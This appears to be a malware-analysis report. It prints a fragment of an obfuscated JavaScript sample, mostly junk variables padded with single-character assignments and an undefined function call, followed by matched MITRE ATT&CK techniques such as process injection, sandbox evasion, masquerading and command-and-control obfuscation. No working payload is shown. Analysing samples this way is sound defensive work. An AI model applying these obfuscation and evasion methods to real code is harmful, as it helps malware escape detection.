303	jenrywobv = "n";
304	jenrywobv = "f";
305	jenrywobv = "V";
306	jenrywobv = "h";
307	jenrywobv = "y";
308	jenrywobv = "y";
309	jenrywobv = "F";
310	wuvwvnkge = "M";
311	wuvwvnkge = "Y";
312	wuvwvnkge = "P";
313	wuvwvnkge = "q";
314	wuvwvnkge = "q";
315	wuvwvnkge = "l";
316	wuvwvnkge = "v";
317	xrnrguth = "F";
318	xrnrguth = "T";
319	xrnrguth = "s";
320	xrnrguth = "K";
321	xrnrguth = "Y";
322	mjodgln = "l";
323	mjodgln = "g";
324	mjodgln = "j";
325	mjodgln = "O";
326	mjodgln = "k";
327	mjodgln = "L";
328	mjodgln = "y";
329	mjodgln = "w";
330	mjodgln = "Y";
331	mjodgln = "Z";
332	mjodgln = "e";
333	mjodgln = "l";
334	mjodgln = "P";
335	mjodgln = "y";
336	mjodgln = "v";
337	mjodgln = "R";
338	tniucpk = "N";
339	tniucpk = "F";
340	tniucpk = "W";
341	tniucpk = "y";
342	tniucpk = "A";
343	tniucpk = "w";
344	tniucpk = "n";
345	tniucpk = "E";
346	tniucpk = "E";
347	tniucpk = "k";
348	tniucpk = "u";
349	tniucpk = "k";
350	tniucpk = "w";
351	tniucpk = "W";
352	tniucpk = "o";
353	tniucpk = "b";
354	tniucpk = "Z";
355	tniucpk = "j";
356	tniucpk = "s";
357	tniucpk = "K";
358	tniucpk = "G";
359	tniucpk = "i";
360	tniucpk = "c";
361	tniucpk = "f";
362	tniucpk = "x";
363	tniucpk = "l";
364	flzol = "C";
365	flzol = "z";
366	flzol = "u";
367	flzol = "t";
368	flzol = "J";
369	flzol = "E";
370	flzol = "Q";
371	flzol = "R";
372	flzol = "Y";
373	flzol = "D";
374	flzol = "m";
375	flzol = "C";
376	flzol = "v";
377	flzol = "s";
378	flzol = "m";
379	flzol = "i";
380	flzol = "Y";
381	flzol = "N";
382	flzol = "y";
383	flzol = "U";
384	flzol = "Z";
385	flzol = "K";
386	flzol = "c";
387	flzol = "K";
388	flzol = "S";
389	flzol = "X";
390	flzol = "R";
391	flzol = "H";
392	flzol = "n";
393	flzol = "g";
394	hndmeqvm = "I";
395	hndmeqvm = "B";
396	hndmeqvm = "k";
397	hndmeqvm = "W";
398	hndmeqvm = "V";
399	hndmeqvm = "o";
400	hndmeqvm = "M";
401	hndmeqvm = "I";
402	hndmeqvm = "z";
403	hndmeqvm = "n";
404	hndmeqvm = "h";
405	hndmeqvm = "M";
406	hndmeqvm = "i";
407	aikrggyg = "N";
408	aikrggyg = "c";
409	aikrggyg = "L";
410	aikrggyg = "f";
411	aikrggyg = "r";
412	aikrggyg = "M";
413	aikrggyg = "r";
414	aikrggyg = "S";
415	aikrggyg = "S";
416	aikrggyg = "g";
417	aikrggyg = "u";
418	aikrggyg = "C";
419	aikrggyg = "p";
420	aikrggyg = "b";
421	aikrggyg = "n";
422	aikrggyg = "z";
423	aikrggyg = "V";
424	aikrggyg = "f";
425	aikrggyg = "m";
426	aikrggyg = "S";
427	aikrggyg = "z";
428	aikrggyg = "J";
429	aikrggyg = "J";
430	aikrggyg = "U";
431	aikrggyg = "w";
432	aikrggyg = "I";
433	aikrggyg = "E";
434	aikrggyg = "A";
435	aikrggyg = "K";
436	tiitx = "o";
437	tiitx = "w";
438	tiitx = "d";
439	tiitx = "z";
440	tiitx = "K";
441	tiitx = "r";
442	tiitx = "v";
443	tiitx = "m";
444	tiitx = "E";
445	tiitx = "T";
446	tiitx = "F";
447	tiitx = "L";
448	tiitx = "r";
449	tiitx = "L";
450	tiitx = "m";
451	tiitx = "F";
452	tiitx = "E";
453	tiitx = "x";
454	tiitx = "Q";
455	tiitx = "C";
456	tiitx = "S";
457	ecgdmgwme = "B";
458	ecgdmgwme = "k";
459	ecgdmgwme = "G";
460	ecgdmgwme = "J";
461	ecgdmgwme = "K";
462	ecgdmgwme = "N";
463	ecgdmgwme = "i";
464	ecgdmgwme = "K";
465	ecgdmgwme = "w";
466	ecgdmgwme = "O";
467	ecgdmgwme = "G";
468	ecgdmgwme = "r";
469	ecgdmgwme = "s";
470	ecgdmgwme = "-";
471	sztkgpxe = "m";
472	sztkgpxe = "m";
473	sztkgpxe = "z";
474	sztkgpxe = "b";
475	sztkgpxe = "U";
476	sztkgpxe = "B";
477	sztkgpxe = "e";
478	sztkgpxe = "d";
479	sztkgpxe = "x";
480	sztkgpxe = "G";
481	sztkgpxe = "p";
482	sztkgpxe = "K";
483	sztkgpxe = "i";
484	sztkgpxe = "d";
485	sztkgpxe = "U";
486	sztkgpxe = "E";
487	sztkgpxe = "z";
488	sztkgpxe = "G";
489	sztkgpxe = "X";
490	sztkgpxe = "r";
491	sztkgpxe = "p";
492	sztkgpxe = "e";
493	sztkgpxe = "Q";
494	sztkgpxe = "i";
495	sztkgpxe = "d";
496	sztkgpxe = "P";
497	sztkgpxe = "L";
498	sztkgpxe = "p";
499	sztkgpxe = "I";
500	sztkgpxe = "g";
501	sztkgpxe = "x";
502	sztkgpxe = "v";
503	sztkgpxe = "T";
504	sztkgpxe = "U";
505	sztkgpxe = "I";
506	sztkgpxe = "O";
507	sztkgpxe = "W";
508	sztkgpxe = "q";
509	hhdvpuprq = "H";
510	hhdvpuprq = "x";
511	hhdvpuprq = "n";
512	hhdvpuprq = "L";
513	hhdvpuprq = "r";
514	hhdvpuprq = "v";
515	hhdvpuprq = "M";
516	hhdvpuprq = "S";
517	hhdvpuprq = "%";
518	xaccq = "d";
519	xaccq = "l";
520	xaccq = "v";
521	xaccq = "X";
522	xaccq = "B";
523	xaccq = "b";
524	xaccq = "O";
525	xaccq = "b";
526	xaccq = "T";
527	xaccq = "G";
528	xaccq = "t";
529	xaccq = "D";
530	xaccq = "J";
531	xaccq = "A";
532	xaccq = "h";
533	xaccq = "z";
534	xaccq = "G";
535	xaccq = "r";
536	xaccq = "t";
537	xaccq = "v";
538	xaccq = "k";
539	xaccq = "Y";
540	xaccq = "o";
541	xaccq = "e";
542	xaccq = "O";
543	xaccq = "r";
544	xaccq = "j";
545	xaccq = "q";
546	xaccq = "N";
547	xaccq = "y";
548	xaccq = "B";
549	xaccq = "H";
550	xaccq = "g";
551	xaccq = "b";
552	lbzgo = "e";
553	lbzgo = "E";
554	lbzgo = "n";
555	lbzgo = "U";
556	lbzgo = "B";
557	lbzgo = "e";
558	lbzgo = "Y";
559	lbzgo = "A";
560	lbzgo = "h";
561	lbzgo = "Z";
562	lbzgo = "q";
563	lbzgo = "P";
564	lbzgo = "H";
565	lbzgo = "I";
566	lbzgo = "h";
567	lbzgo = "b";
568	lbzgo = "P";
569	lbzgo = "e";
570	lbzgo = "J";
571	lbzgo = "N";
572	lbzgo = "u";
573	lbzgo = "G";
574	lbzgo = "Z";
575	lbzgo = "b";
576	lbzgo = "V";
577	lbzgo = "G";
578	lbzgo = "&";
579	rfzbukhyt = "O";
580	rfzbukhyt = "R";
581	rfzbukhyt = "A";
582	rfzbukhyt = "B";
583	rfzbukhyt = "s";
584	rfzbukhyt = "r";
585	rfzbukhyt = "T";
586	xcwpjh = "S";
587	xcwpjh = "V";
588	xcwpjh = "Z";
589	xcwpjh = "h";
590	xcwpjh = "s";
591	xcwpjh = "m";
592	xcwpjh = "w";
593	xcwpjh = "W";
594	xcwpjh = "u";
595	xcwpjh = "L";
596	xcwpjh = "F";
597	xcwpjh = "n";
598	xcwpjh = "e";
599	xcwpjh = "g";
600	xcwpjh = "9";
601	tnrrkkowi = "o";
602	tnrrkkowi = "d";
603	tnrrkkowi = "C";
604	tnrrkkowi = "M";
605	tnrrkkowi = "K";
606	tnrrkkowi = "M";
607	tnrrkkowi = "B";
608	tnrrkkowi = "m";
609	tnrrkkowi = "m";
610	tnrrkkowi = "P";
611	tnrrkkowi = "2";
612	pjgwkgeve = "c";
613	pjgwkgeve = "t";
614	pjgwkgeve = "M";
615	pjgwkgeve = "H";
616	pjgwkgeve = "l";
617	pjgwkgeve = "i";
618	pjgwkgeve = "y";
619	pjgwkgeve = "P";
620	pjgwkgeve = "U";
621	pjgwkgeve = "y";
622	pjgwkgeve = "K";
623	pjgwkgeve = "q";
624	pjgwkgeve = "N";
625	pjgwkgeve = "T";
626	pjgwkgeve = "n";
627	pjgwkgeve = "Y";
628	pjgwkgeve = "m";
629	mltxyefk = "Z";
630	mltxyefk = "J";
631	mltxyefk = "Y";
632	mltxyefk = "H";
633	mltxyefk = "s";
634	mltxyefk = "A";
635	mltxyefk = "K";
636	mltxyefk = "t";
637	mltxyefk = "v";
638	mltxyefk = "t";
639	mltxyefk = "d";
640	mltxyefk = "B";
641	mltxyefk = "e";
642	vdhsyb = "T";
643	vdhsyb = "u";
644	yufmyqpha = "V";
645	yufmyqpha = "R";
646	yufmyqpha = "q";
647	yufmyqpha = "M";
648	yufmyqpha = "w";
649	yufmyqpha = "a";
650	yufmyqpha = "R";
651	yufmyqpha = "D";
652	yufmyqpha = "l";
653	yufmyqpha = "b";
654	yufmyqpha = "C";
655	yufmyqpha = "i";
656	yufmyqpha = "N";
657	yufmyqpha = "q";
658	yufmyqpha = "R";
659	yufmyqpha = "I";
660	yufmyqpha = "I";
661	yufmyqpha = "E";
662	finuv = "u";
663	finuv = "s";
664	finuv = "b";
665	finuv = "G";
666	finuv = "Y";
667	finuv = "W";
668	finuv = "g";
669	finuv = "b";
670	finuv = "G";
671	finuv = "Y";
672	finuv = "r";
673	finuv = "T";
674	finuv = "T";
675	finuv = "Q";
676	finuv = "w";
677	finuv = "L";
678	finuv = "p";
679	finuv = "r";
680	finuv = "m";
681	finuv = "U";
682	finuv = "s";
683	finuv = "7";
684	agbwn = "B";
685	agbwn = "M";
686	agbwn = "j";
687	agbwn = "A";
688	agbwn = "J";
689	agbwn = "f";
690	agbwn = "R";
691	agbwn = "j";
692	xavtdzwq = "F";
693	xavtdzwq = "b";
694	xavtdzwq = "i";
695	xavtdzwq = "W";
696	yfhsdusg = "m";
697	yfhsdusg = "y";
698	yfhsdusg = "j";
699	yfhsdusg = "h";
700	yfhsdusg = "l";
701	yfhsdusg = "u";
702	yfhsdusg = "P";
703	yfhsdusg = "l";
704	yfhsdusg = "T";
705	yfhsdusg = "k";
706	yfhsdusg = "N";
707	yfhsdusg = "d";
708	yfhsdusg = "X";
709	yfhsdusg = "U";
710	yfhsdusg = "h";
711	yfhsdusg = "p";
712	yfhsdusg = "i";
713	yfhsdusg = "I";
714	yfhsdusg = "Y";
715	yfhsdusg = "n";
716	yfhsdusg = "O";
717	yfhsdusg = "P";
718	yfhsdusg = "W";
719	yfhsdusg = "U";
720	yfhsdusg = "g";
721	yfhsdusg = "R";
722	yfhsdusg = "p";
723	yfhsdusg = "w";
724	yfhsdusg = "P";
725	yfhsdusg = "L";
726	yfhsdusg = "m";
727	yfhsdusg = "z";
728	yfhsdusg = "s";
729	yfhsdusg = "f";
730	yfhsdusg = "C";
731	yfhsdusg = "A";
732	yfhsdusg = "F";
733	yfhsdusg = "q";
734	yfhsdusg = "L";
735	yfhsdusg = "x";
736	yfhsdusg = "L";
737	yfhsdusg = "p";
738	yfhsdusg = "H";
739	pmvqpif = "g";
740	pmvqpif = "d";
741	pmvqpif = "K";
742	pmvqpif = "U";
743	kfpsq = "i";
744	kfpsq = "i";
745	kfpsq = "l";
746	kfpsq = " ";
747	uwtvabbgv = "d";
748	uwtvabbgv = "w";
749	uwtvabbgv = "h";
750	uwtvabbgv = "Q";
751	uwtvabbgv = "Y";
752	uwtvabbgv = "j";
753	uwtvabbgv = "i";
754	uwtvabbgv = "N";
755	uwtvabbgv = "Q";
756	uwtvabbgv = "D";
757	uwtvabbgv = "x";
758	uwtvabbgv = "I";
759	uwtvabbgv = "y";
760	uwtvabbgv = "d";
761	uwtvabbgv = "w";
762	uwtvabbgv = "F";
763	uwtvabbgv = "N";
764	uwtvabbgv = "G";
765	uwtvabbgv = "E";
766	uwtvabbgv = "R";
767	uwtvabbgv = "I";
768	uwtvabbgv = "I";
769	uwtvabbgv = "y";
770	uwtvabbgv = "I";
771	uwtvabbgv = "C";
772	uwtvabbgv = "Y";
773	uwtvabbgv = "w";
774	uwtvabbgv = "x";
775	uwtvabbgv = "D";
776	uwtvabbgv = "j";
777	uwtvabbgv = "M";
778	uwtvabbgv = "e";
779	uwtvabbgv = "K";
780	uwtvabbgv = "L";
781	uwtvabbgv = "M";
782	uwtvabbgv = "G";
783	uwtvabbgv = "C";
784	uwtvabbgv = "N";
785	uwtvabbgv = "L";
786	uwtvabbgv = "A";
787	uwtvabbgv = "r";
788	uwtvabbgv = "d";
789	uwtvabbgv = "s";
790	uwtvabbgv = "z";
791	uwtvabbgv = "p";
792	mqmknttq = "E";
793	mqmknttq = "C";
794	mqmknttq = "O";
795	mqmknttq = "O";
796	mqmknttq = "Q";
797	mqmknttq = "i";
798	mqmknttq = "C";
799	mqmknttq = "K";
800	mqmknttq = "p";
801	mqmknttq = "v";
802	mqmknttq = "g";
803	mqmknttq = "I";
804	mqmknttq = "F";
805	mqmknttq = "k";
806	mqmknttq = "l";
807	mqmknttq = "S";
808	mqmknttq = "w";
809	mqmknttq = "S";
810	mqmknttq = "O";
811	mqmknttq = "N";
812	mqmknttq = "h";
813	mqmknttq = "F";
814	mqmknttq = "c";
815	mqmknttq = "K";
816	mqmknttq = "g";
817	mqmknttq = "T";
818	mqmknttq = "d";
819	mqmknttq = "E";
820	mqmknttq = "I";
821	mqmknttq = "f";
822	mqmknttq = "A";
823	mqmknttq = "s";
824	mqmknttq = "o";
825	mqmknttq = "n";
826	mqmknttq = "N";
827	dfjwoamy = "q";
828	dfjwoamy = "B";
829	dfjwoamy = "M";
830	dfjwoamy = "N";
831	dfjwoamy = "z";
832	dfjwoamy = "G";
833	dfjwoamy = "A";
834	dfjwoamy = "M";
835	dfjwoamy = "K";
836	dfjwoamy = "B";
837	dfjwoamy = "P";
838	dfjwoamy = "W";
839	dfjwoamy = "F";
840	dfjwoamy = "w";
841	dfjwoamy = "B";
842	dfjwoamy = "e";
843	dfjwoamy = "g";
844	dfjwoamy = "L";
845	dfjwoamy = "J";
846	dfjwoamy = "l";
847	dfjwoamy = "g";
848	dfjwoamy = "T";
849	dfjwoamy = "k";
850	dfjwoamy = "Q";
851	jzdlhotek = "K";
852	jzdlhotek = "w";
853	jzdlhotek = "R";
854	jzdlhotek = "L";
855	jzdlhotek = "d";
856	jzdlhotek = "d";
857	jzdlhotek = "k";
858	jzdlhotek = "V";
859	jzdlhotek = "k";
860	jzdlhotek = "I";
861	jzdlhotek = "t";
862	jzdlhotek = "x";
863	xbtdju = "o";
864	xbtdju = "Z";
865	xbtdju = "c";
866	xbtdju = "v";
867	xbtdju = "C";
868	xbtdju = "Z";
869	xbtdju = "V";
870	xbtdju = "r";
871	xbtdju = "a";
872	xbtdju = "P";
873	xbtdju = "V";
874	xbtdju = "E";
875	xbtdju = "N";
876	xbtdju = "Z";
877	xbtdju = "M";
878	xbtdju = "K";
879	xbtdju = "a";
880	xbtdju = "B";
881	xbtdju = "q";
882	xbtdju = "X";
883	xbtdju = "g";
884	xbtdju = "a";
885	dgwutre = "X";
886	dgwutre = "h";
887	drqopjicf = "L";
888	drqopjicf = "Z";
889	drqopjicf = "X";
890	drqopjicf = "C";
891	drqopjicf = "H";
892	drqopjicf = "w";
893	drqopjicf = "p";
894	drqopjicf = "w";
895	drqopjicf = "q";
896	drqopjicf = "y";
897	drqopjicf = "b";
898	drqopjicf = "y";
899	drqopjicf = "z";
900	drqopjicf = "j";
901	drqopjicf = "e";
902	drqopjicf = "m";
903	drqopjicf = "I";
904	drqopjicf = "f";
905	drqopjicf = "Y";
906	drqopjicf = "Z";
907	drqopjicf = "O";
908	drqopjicf = "G";
909	drqopjicf = "a";
910	drqopjicf = "e";
911	drqopjicf = "Z";
912	drqopjicf = "f";
913	drqopjicf = "N";
914	drqopjicf = "g";
915	drqopjicf = "U";
916	drqopjicf = "w";
917	drqopjicf = "L";
918	drqopjicf = "h";
919	drqopjicf = "J";
920	drqopjicf = "C";
921	drqopjicf = "\"";
922	umgqtc = "e";
923	umgqtc = "D";
924	umgqtc = "a";
925	umgqtc = "l";
926	umgqtc = "Z";
927	umgqtc = "l";
928	umgqtc = "m";
929	umgqtc = "/";
930	siwlkms = "w";
931	siwlkms = "N";
932	siwlkms = "x";
933	siwlkms = "D";
934	siwlkms = "z";
935	siwlkms = "C";
936	siwlkms = "D";
937	siwlkms = "R";
938	siwlkms = "a";
939	siwlkms = "K";
940	siwlkms = "a";
941	siwlkms = "q";
942	siwlkms = "x";
943	siwlkms = "X";
944	siwlkms = "b";
945	siwlkms = "t";
946	siwlkms = "v";
947	siwlkms = "U";
948	siwlkms = "i";
949	siwlkms = "M";
950	siwlkms = "r";
951	siwlkms = "Q";
952	siwlkms = "d";
953	iobig = "T";
954	iobig = "q";
955	iobig = "b";
956	iobig = "F";
957	iobig = "f";
958	iobig = "Z";
959	iobig = "b";
960	iobig = "m";
961	iobig = "N";
962	iobig = "F";
963	iobig = "m";
964	iobig = "A";
965	iobig = "I";
966	iobig = "v";
967	iobig = "G";
968	iobig = "X";
969	iobig = "k";
970	iobig = "D";
971	iobig = "r";
972	iobig = "Y";
973	iobig = "H";
974	iobig = "G";
975	iobig = "N";
976	iobig = "X";
977	iobig = "E";
978	iobig = "t";
979	swbilvya = "j";
980	swbilvya = "z";
981	swbilvya = "X";
982	swbilvya = "z";
983	swbilvya = "W";
984	swbilvya = "R";
985	swbilvya = "O";
986	swbilvya = "P";
987	swbilvya = "j";
988	swbilvya = "h";
989	swbilvya = "b";
990	swbilvya = "W";
991	swbilvya = "F";
992	swbilvya = "i";
993	swbilvya = "v";
994	swbilvya = "a";
995	swbilvya = "g";
996	swbilvya = "Q";
997	swbilvya = "N";
998	swbilvya = "s";
999	swbilvya = "a";
1000	swbilvya = "m";
1001	swbilvya = "A";
1002	swbilvya = "J";
1003	swbilvya = "W";
1004	swbilvya = "A";
1005	swbilvya = "S";
1006	swbilvya = "j";
1007	swbilvya = "B";
1008	swbilvya = "0";
1009	wyhnvbrwk = "q";
1010	wyhnvbrwk = "b";
1011	wyhnvbrwk = "N";
1012	wyhnvbrwk = "c";
1013	wyhnvbrwk = "I";
1014	wyhnvbrwk = "m";
1015	wyhnvbrwk = "f";
1016	ahuhigdi = "E";
1017	ahuhigdi = "J";
1018	ahuhigdi = "Q";
1019	ahuhigdi = "S";
1020	ahuhigdi = "E";
1021	ahuhigdi = "x";
1022	ahuhigdi = "c";
1023	ahuhigdi = "b";
1024	ahuhigdi = "H";
1025	ahuhigdi = "l";
1026	ahuhigdi = "f";
1027	ahuhigdi = "A";
1028	ahuhigdi = "K";
1029	ahuhigdi = "V";
1030	ahuhigdi = "U";
1031	ahuhigdi = "w";
1032	cbivfu = "C";
1033	cbivfu = "r";
1034	lkjgcshr = "D";
1035	lkjgcshr = "i";
1036	lkjgcshr = "m";
1037	lkjgcshr = "B";
1038	lkjgcshr = "J";
1039	lkjgcshr = "@";
1040	fycyv = "W";
1041	fycyv = "b";
1042	fycyv = "j";
1043	fycyv = "B";
1044	fycyv = "t";
1045	fycyv = "Q";
1046	fycyv = "O";
1047	pnszbyzcr = "w";
1048	pnszbyzcr = "B";
1049	pnszbyzcr = "x";
1050	pnszbyzcr = "g";
1051	pnszbyzcr = "K";
1052	pnszbyzcr = "P";
1053	pnszbyzcr = "I";
1054	pnszbyzcr = "H";
1055	pnszbyzcr = "H";
1056	pnszbyzcr = "a";
1057	pnszbyzcr = "O";
1058	pnszbyzcr = "E";
1059	pnszbyzcr = "S";
1060	pnszbyzcr = "K";
1061	pnszbyzcr = "N";
1062	pnszbyzcr = "L";
1063	pnszbyzcr = "k";
1064	pnszbyzcr = "1";
1065	llzvxqwji = "K";
1066	llzvxqwji = "n";
1067	llzvxqwji = "g";
1068	llzvxqwji = "M";
1069	llzvxqwji = "h";
1070	llzvxqwji = "H";
1071	llzvxqwji = "P";
1072	llzvxqwji = "x";
1073	llzvxqwji = "I";
1074	llzvxqwji = "l";
1075	llzvxqwji = "G";
1076	llzvxqwji = "K";
1077	llzvxqwji = "h";
1078	llzvxqwji = "c";
1079	llzvxqwji = "Z";
1080	llzvxqwji = "E";
1081	llzvxqwji = "U";
1082	llzvxqwji = "v";
1083	llzvxqwji = "q";
1084	llzvxqwji = ":";
1085	ibrswt = "z";
1086	ibrswt = "u";
1087	ibrswt = "D";
1088	ibrswt = "o";
1089	ibrswt = "z";
1090	ibrswt = "z";
1091	ibrswt = "U";
1092	ibrswt = "I";
1093	ibrswt = "W";
1094	ibrswt = "v";
1095	ibrswt = "O";
1096	ibrswt = "o";
1097	ibrswt = "l";
1098	ibrswt = "A";
1099	ibrswt = "R";
1100	ibrswt = "M";
1101	ibrswt = "c";
1102	ajpbxalof = "L";
1103	ajpbxalof = "R";
1104	ajpbxalof = "F";
1105	ajpbxalof = "y";
1106	ajpbxalof = "I";
1107	ajpbxalof = "W";
1108	ajpbxalof = "p";
1109	ajpbxalof = "Z";
1110	ajpbxalof = "n";
1111	ajpbxalof = "Z";
1112	ajpbxalof = "h";
1113	ajpbxalof = "W";
1114	ajpbxalof = "e";
1115	ajpbxalof = "Y";
1116	ajpbxalof = "E";
1117	ajpbxalof = "Z";
1118	ajpbxalof = "B";
1119	ajpbxalof = "m";
1120	ajpbxalof = "y";
1121	ajpbxalof = "F";
1122	ajpbxalof = "A";
1123	ajpbxalof = "p";
1124	ajpbxalof = "S";
1125	ajpbxalof = "j";
1126	ajpbxalof = "o";
1127	ajpbxalof = "k";
1128	ajpbxalof = "F";
1129	ajpbxalof = "v";
1130	ajpbxalof = "r";
1131	ajpbxalof = "M";
1132	ajpbxalof = "u";
1133	ajpbxalof = "_";
1134	hglxdnj ( );	hglxdnj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
